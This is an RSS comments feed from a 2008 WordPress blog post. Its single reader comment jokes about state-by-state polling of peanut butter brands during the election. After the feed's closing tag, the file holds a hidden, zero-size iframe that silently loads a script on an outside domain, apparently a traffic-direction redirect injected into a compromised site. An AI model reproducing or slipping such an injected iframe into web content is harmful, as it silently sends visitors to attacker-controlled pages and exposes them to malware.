<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Party like it&#8217;s 1996</title>
	<atom:link href="http://www.chezpete.com/blog/2008/10/30/party-like-its-1996/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.chezpete.com/blog/2008/10/30/party-like-its-1996/</link>
	<description>Rewind. Replay. Reinvent. Re-Pete.</description>
	<lastBuildDate>Mon, 09 Nov 2009 19:47:54 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Ian</title>
		<link>http://www.chezpete.com/blog/2008/10/30/party-like-its-1996/comment-page-1/#comment-5329</link>
		<dc:creator>Ian</dc:creator>
		<pubDate>Thu, 30 Oct 2008 21:57:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.chezpete.com/blog/?p=145#comment-5329</guid>
		<description>Less than a week to go and I think I&#039;m finally sick of 538.com and the rest of it.  What will these sites do after next week?  I think we should start state-by-state polling of which Peanut Butter brand is better.  Skippy&#039;s currently polling almost 80% in the West and in most Urban areas, with a scattering of &quot;all natural&quot; third parties in areas pushed by sources like Joe the Trader.  Southern states and possibly Florida cling tightly to to Jif.  It should be noted that with Skippy this is the first time a crunchy brand has made it to the primary selection, with most of the country traditionally supporting only smooth, preservative-laden varieties.  Exciting times indeed.</description>
		<content:encoded><![CDATA[<p>Less than a week to go and I think I&#8217;m finally sick of 538.com and the rest of it.  What will these sites do after next week?  I think we should start state-by-state polling of which Peanut Butter brand is better.  Skippy&#8217;s currently polling almost 80% in the West and in most Urban areas, with a scattering of &#8220;all natural&#8221; third parties in areas pushed by sources like Joe the Trader.  Southern states and possibly Florida cling tightly to to Jif.  It should be noted that with Skippy this is the first time a crunchy brand has made it to the primary selection, with most of the country traditionally supporting only smooth, preservative-laden varieties.  Exciting times indeed.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
<!-- Dynamic Page Served (once) in 0.220 seconds -->

